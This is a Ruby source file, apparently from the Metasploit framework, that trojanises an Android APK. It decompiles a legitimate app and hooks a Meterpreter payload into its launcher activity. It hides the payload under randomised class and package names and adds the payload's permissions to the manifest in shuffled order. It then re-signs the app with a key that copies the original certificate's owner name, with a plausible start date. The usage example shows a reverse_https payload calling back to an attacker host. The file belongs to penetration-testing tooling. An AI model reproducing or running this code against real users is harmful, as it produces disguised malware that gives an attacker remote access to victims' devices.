lib/msf/core/payload/apk.rb
# -*- coding: binary -*-
require 'rex/text'
require 'tmpdir'
require 'nokogiri'
require 'fileutils'
require 'optparse'
require 'open3'
require 'date'
class Msf::Payload::Apk
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
def print_error(msg='')
$stderr.puts "[-] #{msg}"
end
alias_method :print_bad, :print_error
def usage
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
end
def run_cmd(cmd)
begin
stdin, stdout, stderr = Open3.popen3(*cmd)
return stdout.read + stderr.read
rescue Errno::ENOENT
return nil
end
end
# Find a suitable smali point to hook.
# Returns the first suitable hook point.
#
# @param manifest [String] AndroidManifest.xml file contents
#
# @return [String] Full class name, for example: com.example.app.MainActivity
def find_hook_point(manifest)
return unless manifest
package = manifest.xpath('//manifest').first['package']
application = manifest.xpath('//application')
application_name = application.attribute('name').to_s
unless (application_name.blank? || application_name == 'android.app.Application')
unless application_name.include?('.')
application_name = '.' + application_name
end
if application_name.start_with?('.')
application_name = package + application_name
end
return application_name
end
activities = manifest.xpath('//activity|//activity-alias')
for activity in activities
activity_name = activity.attribute('targetActivity').to_s
if activity_name.blank?
activity_name = activity.attribute('name').to_s
end
next if activity_name.blank?
category = activity.search('category')
next unless category
for cat in category
category_name = cat.attribute('name').to_s
next unless (category_name == 'android.intent.category.LAUNCHER' || category_name == 'android.intent.action.MAIN')
unless activity_name.include?('.')
activity_name = '.' + activity_name
end
if activity_name.start_with?('.')
activity_name = package + activity_name
end
return activity_name
end
end
nil
end
# Read AndroidManifest.xml file.
#
# @param manifest_file [String] Path to AndroidManifest.xml file
#
# @return [Nokogiri::XML] AndroidManifest.xml file contents
def parse_manifest(manifest_file)
File.open(manifest_file, "rb"){|file|
data = File.read(file)
return Nokogiri::XML(data)
}
end
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
#Load original apk's manifest
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
original_permissions = original_manifest.xpath("//manifest/uses-permission")
old_permissions = []
add_permissions = []
original_permissions.each do |permission|
name = permission.attribute("name").to_s
old_permissions << name
end
application = original_manifest.xpath('//manifest/application')
payload_permissions.each do |permission|
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
add_permissions += [permission.to_xml]
end
end
add_permissions.shuffle!
for permission_xml in add_permissions
print_status("Adding #{permission_xml}")
if original_permissions.empty?
application.before(permission_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission_xml)
end
end
application = original_manifest.at_xpath('/manifest/application')
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
receiver.attributes["label"].value = main_broadcast_receiver
service.attributes["name"].value = package + '.' + main_service
application << receiver.to_xml
application << service.to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end
def extract_cert_data_from_apk_file(path)
orig_cert_data = []
# extract signing scheme v1 (JAR signing) certificate
# v1 signing is optional to support older versions of Android (pre Android 11)
# https://source.android.com/security/apksigning/
keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', path])
if keytool_output.include?('keytool error: ')
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
end
if keytool_output.start_with?('Not a signed jar file')
# apk file does not have a valid v1 signing certificate
# extract signing certificate from newer signing schemes (v2/v3/v4/...) using apksigner instead
apksigner_output = run_cmd(['apksigner', 'verify', '--print-certs', path])
cert_dname = apksigner_output.scan(/^Signer #\d+ certificate DN: (.+)$/).flatten.first.to_s.strip
if cert_dname.blank?
raise RuntimeError, "Could not extract signing certificate owner: #{apksigner_output}"
end
orig_cert_data.push(cert_dname)
# Create random start date from some time in the past 3 years
from_date = DateTime.now.next_day(-rand(3 * 365))
orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))
# Valid for 25 years
# https://developer.android.com/studio/publish/app-signing
to_date = from_date.next_year(25)
validity = (to_date - from_date).to_i
orig_cert_data.push(validity.to_s)
else
if keytool_output.include?('keytool error: ')
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
end
cert_dname = keytool_output.scan(/^Owner:(.+)$/).flatten.first.to_s.strip
if cert_dname.blank?
raise RuntimeError, "Could not extract signing certificate owner: #{keytool_output}"
end
orig_cert_data.push(cert_dname)
valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first
if valid_from_line.empty?
raise RuntimeError, "Could not extract certificate date: #{keytool_output}"
end
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
from_date = DateTime.parse(from_date_str.to_s)
orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))
to_date = DateTime.parse(to_date_str.to_s)
validity = (to_date - from_date).to_i
orig_cert_data.push(validity.to_s)
end
if orig_cert_data.empty?
raise RuntimeError, 'Could not extract signing certificate from APK file'
end
orig_cert_data
end
def check_apktool_output_for_exceptions(apktool_output)
if apktool_output.to_s.include?('Exception in thread')
print_error(apktool_output)
raise RuntimeError, "apktool execution failed"
end
end
def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true)
unless apk_data || apkfile && File.readable?(apkfile)
usage
raise RuntimeError, "Invalid template: #{apkfile}"
end
check_apktool = run_cmd(%w[apktool -version])
if check_apktool.nil?
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
end
if check_apktool.to_s.include?('java: not found')
raise RuntimeError, "java not found. If it's not in your PATH, please add it."
end
jar_name = 'apktool.jar'
if check_apktool.to_s.include?("can't find #{jar_name}")
raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool."
end
check_apktool_output_for_exceptions(check_apktool)
apktool_version = Rex::Version.new(check_apktool.split("\n").first.strip)
min_required_apktool_version = Rex::Version.new('2.9.2')
unless apktool_version >= min_required_apktool_version
# technically MSF supports 2.7.0+ but versions < 2.9.2 are vulnerable to CVE-2024-21633
# see: https://github.com/iBotPeaches/Apktool/security/advisories/GHSA-2hqv-2xv4-5h5w
raise RuntimeError, "apktool version #{apktool_version} not supported, please download at least version #{min_required_apktool_version}."
end
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir
File.binwrite("#{tempdir}/payload.apk", raw_payload)
if apkfile
FileUtils.cp apkfile, "#{tempdir}/original.apk"
else
File.binwrite("#{tempdir}/original.apk", apk_data)
end
if signature
keytool = run_cmd(['keytool'])
unless keytool != nil
raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
end
apksigner = run_cmd(['apksigner'])
if apksigner.nil?
raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it."
end
zipalign = run_cmd(['zipalign'])
unless zipalign != nil
raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
end
keystore = "#{tempdir}/signing.keystore"
storepass = "android"
keypass = "android"
keyalias = "signing.key"
orig_cert_data = extract_cert_data_from_apk_file(apkfile)
orig_cert_dname = orig_cert_data[0]
orig_cert_startdate = orig_cert_data[1]
orig_cert_validity = orig_cert_data[2]
print_status "Creating signing key and keystore..\n"
keytool_output = run_cmd([
'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass,
'-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate,
'-validity', orig_cert_validity, '-dname', orig_cert_dname
])
if keytool_output.include?('keytool error: ')
raise RuntimeError, "keytool could not generate key: #{keytool_output}"
end
end
print_status "Decompiling original APK..\n"
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '--only-main-classes', '-o', "#{tempdir}/original"])
check_apktool_output_for_exceptions(apktool_output)
print_status "Decompiling payload APK..\n"
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
check_apktool_output_for_exceptions(apktool_output)
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n"
hookable_class = find_hook_point(amanifest)
if hookable_class.blank?
raise 'Unable to find hookable class in AndroidManifest.xml'
end
hookable_class_filename = hookable_class.to_s.gsub('.', '/') + '.smali'
hookable_class_filepath = "#{tempdir}/original/smali*/#{hookable_class_filename}"
smalifile = Dir.glob(hookable_class_filepath).select { |f| File.readable?(f) && !File.symlink?(f) }.flatten.first
if smalifile.blank?
raise "Unable to find class file: #{hookable_class_filepath}"
end
hooksmali = File.binread(smalifile)
entrypoint = 'return-void'
unless hooksmali.include?(entrypoint)
raise "Unable to find hookable function in #{smalifile}"
end
# Remove unused files
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
package = amanifest.xpath("//manifest").first['package']
package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
FileUtils.mkdir_p payload_dir
# Copy over the payload files, fixing up the smali code
payload_files.each do |file_name|
smali = File.binread(file_name)
smali_class = File.basename file_name
for oldclass, newclass in classes
if smali_class == "#{oldclass}.smali"
smali_class = "#{newclass}.smali"
end
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
end
smali.gsub!(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{smali_class}"
File.open(newfilename, "wb") {|file| file.puts smali }
end
if service
hookfunction = "L#{package_slash}/#{classes['MainService']};->start()V"
else
hookfunction = "L#{package_slash}/#{classes['Payload']};->startContext()V"
end
payloadhook = %Q^invoke-static {}, #{hookfunction}
^ + entrypoint
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
if manifest
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
end
print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n"
apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"])
check_apktool_output_for_exceptions(apktool_output)
unless File.readable?(injected_apk)
print_error apktool_output
print_status("Unable to rebuild apk. Trying rebuild with AAPT2..\n")
apktool_output = run_cmd(['apktool', 'b', '--use-aapt2', '-o', injected_apk, "#{tempdir}/original"])
unless File.readable?(injected_apk)
print_error apktool_output
raise RuntimeError, "Unable to rebuild apk with apktool"
end
end
if signature
print_status "Aligning #{injected_apk}\n"
zipalign_output = run_cmd(['zipalign', '-p', '4', injected_apk, aligned_apk])
unless File.readable?(aligned_apk)
print_error(zipalign_output)
raise RuntimeError, 'Unable to align apk with zipalign.'
end
print_status "Signing #{aligned_apk} with apksigner\n"
apksigner_output = run_cmd([
'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk
])
if apksigner_output.to_s.include?('Failed')
print_error(apksigner_output)
raise RuntimeError, 'Signing with apksigner failed.'
end
apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk])
if apksigner_verify.to_s.include?('DOES NOT VERIFY')
print_error(apksigner_verify)
raise RuntimeError, 'Signature verification failed.'
end
else
aligned_apk = injected_apk
end
outputapk = File.binread(aligned_apk)
FileUtils.remove_entry tempdir
outputapk
end
end